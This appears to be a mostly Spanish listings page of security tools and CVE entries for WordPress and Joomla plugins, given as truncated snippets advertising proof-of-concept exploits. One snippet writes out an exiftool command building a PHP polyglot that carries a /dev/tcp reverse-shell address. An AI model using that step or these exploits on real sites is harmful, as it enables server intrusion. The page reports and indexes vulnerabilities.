PS2EXE

Repositorio libre de IA - la inteligencia artificial está matando la creatividad y nuestra naturaleza PS2EXE Refinamiento del gran script de Ingo Karstein con soporte GUI. La salida y entrada GUI se activan con un solo interruptor, se generan ejecutables reales de Windows. Compila solo scripts...

CVE-2025-2005

CVE-2025-2005 - Pwn en WordPress Front-End Users Plugin By h4ckxel Info Rápida Plugin: Front-End Users Versiones vulnerables: = 3.2.32 Tipo de fallo: Arbitrary File Upload CVSS Score: 10 Crítico Riesgo: Permite a cualquier atacante sin auth subir archivos arbitrarios ej. web shells PHP y...

DbgShell

DbgShell Un front-end de PowerShell para el motor de depuración de Windows. ¿Listo para tabular tu camino hacia la gloria? Para una introducción más rápida, echa un vistazo a Introducción. Descargos de responsabilidad 1. Este proyecto no es producido, respaldado ni supervisado por el equipo de...

CVE-2025-47646

CVE-2025-47646 PoC Exploit de escalada de privilegios no autenticado para WordPress PSW Front-end Login Registration Plugin ≤ 1.12 📖 Descripción Este script de Python es un exploit de prueba de concepto PoC para CVE-2025-47646 , dirigido a una vulnerabilidad en el WordPress PSW Front-end Login...

WordPress Front End Users - Reflected XSS

WordPress Front End Users plugin = 3.2.32 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a...

CVE-2025-2005

Exploit de Subida Arbitraria de Archivos en WordPress FEUP CVE-2025-2005 Este repositorio proporciona un exploit de Prueba de Concepto PoC para el plugin Front End Users de WordPress versiones hasta 3.2.32, el cual es vulnerable a subida arbitraria de archivos debido a la falta de validación de...

CVE-2023-24610

CVE-2023-24610 Esto es una prueba de concepto para CVE-2023-24610 Comenzamos creando un archivo políglota usando exiftool: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php Cambiamos el archivo a png para que pase la verificación del front-end Después, iniciamos un listener...

Packer-Fuzzer

Packer Fuzzer Una herramienta de escaneo para la detección rápida y eficiente de seguridad en sitios web construidos con herramientas de empaquetado front-end como Webpack Producido por Poc-Sir, KpLi0rn, Liucy, RachesseHS, Lupin-III...

ivre-wizard

root@kitploit: IVRE . \ ,/ \ |\ / | | //\ | \ /\ | | / | '/ | / /\oo/\ | |/ / | | | | | | /\ // |/,|| ,| Por BitBurner ivre-wizard Un asistente interactivo front-end para IVRE que facilita la creación de escaneos hacia la base de datos. ¿Por qué? Creé este script para realizar escaneos con...

CVE-2026-77029

Joomla Extension - yootheme.com - Missing CSRF tokens on front-end state changes in Zoo 4.1.66...

CVE-2026-77029 Joomla Extension - yootheme.com - Missing CSRF tokens on front-end state changes in Zoo < 4.1.66

Joomla Extension - yootheme.com - Missing CSRF tokens on front-end state changes in Zoo 4.1.66...

EUVD-2026-63934

Joomla Extension - yootheme.com - Missing CSRF tokens on front-end state changes in Zoo 4.1.66...

CVE-2026-77029 Joomla Extension - yootheme.com - Missing CSRF tokens on front-end state changes in Zoo < 4.1.66

Joomla Extension - yootheme.com - Missing CSRF tokens on front-end state changes in Zoo 4.1.66...

CVE-2026-77029

Zoo , a Joomla extension by yootheme.com , is affected by a missing CSRF token vulnerability on front-end state changes in versions prior to 4.1.66 . The CVSS 4.0 base score is 4.6 (MEDIUM) , with high privileges and active user interaction required, resulting in low integrity impact . No exploit...

CVE-2026-14325

The Drag and Drop Multiple File Upload for Contact Form 7 WordPress plugin before 1.3.9.9 does not escape one of its settings before using it as an HTML tag name in front-end output, allowing users with administrator access to inject arbitrary web scripts that execute on any front-end page...

CVE-2026-14325 Drag and Drop Multiple File Upload for Contact Form 7 < 1.3.9.9 - Admin+ Stored XSS via drag_n_drop_heading_tag Setting

The Drag and Drop Multiple File Upload for Contact Form 7 WordPress plugin before 1.3.9.9 does not escape one of its settings before using it as an HTML tag name in front-end output, allowing users with administrator access to inject arbitrary web scripts that execute on any front-end page...

CVE-2026-14325

CVE-2026-14325 is a stored XSS vulnerability in the Drag and Drop Multiple File Upload for Contact Form 7 WordPress plugin, affecting versions prior to 1.3.9.9 . The root cause is a failure to escape the drag_n_drop_heading_tag setting before using it as an HTML tag name in front-end output. An a...

EUVD-2026-63815

The Drag and Drop Multiple File Upload for Contact Form 7 WordPress plugin before 1.3.9.9 does not escape one of its settings before using it as an HTML tag name in front-end output, allowing users with administrator access to inject arbitrary web scripts that execute on any front-end page...

CVE-2026-77026

Convert Forms (by tassos.gr) for Joomla , versions below 5.2.5 , is affected by a client-controlled validation bypass. The front-end Submissions view did not enforce access control, allowing an unauthenticated visitor to list a form's submissions. The CVSS 4.0 base score is 6.9 (MEDIUM) , with a ...

WordPress Link Library plugin < 7.9.3 - Unauthenticated SQL Injection via the Front-End Link Submission Form vulnerability

Unauthenticated SQL Injection via the Front-End Link Submission Form vulnerability discovered by Abdullah Kareem cyberkareem in WordPress Plugin Link Library versions 7.9.3...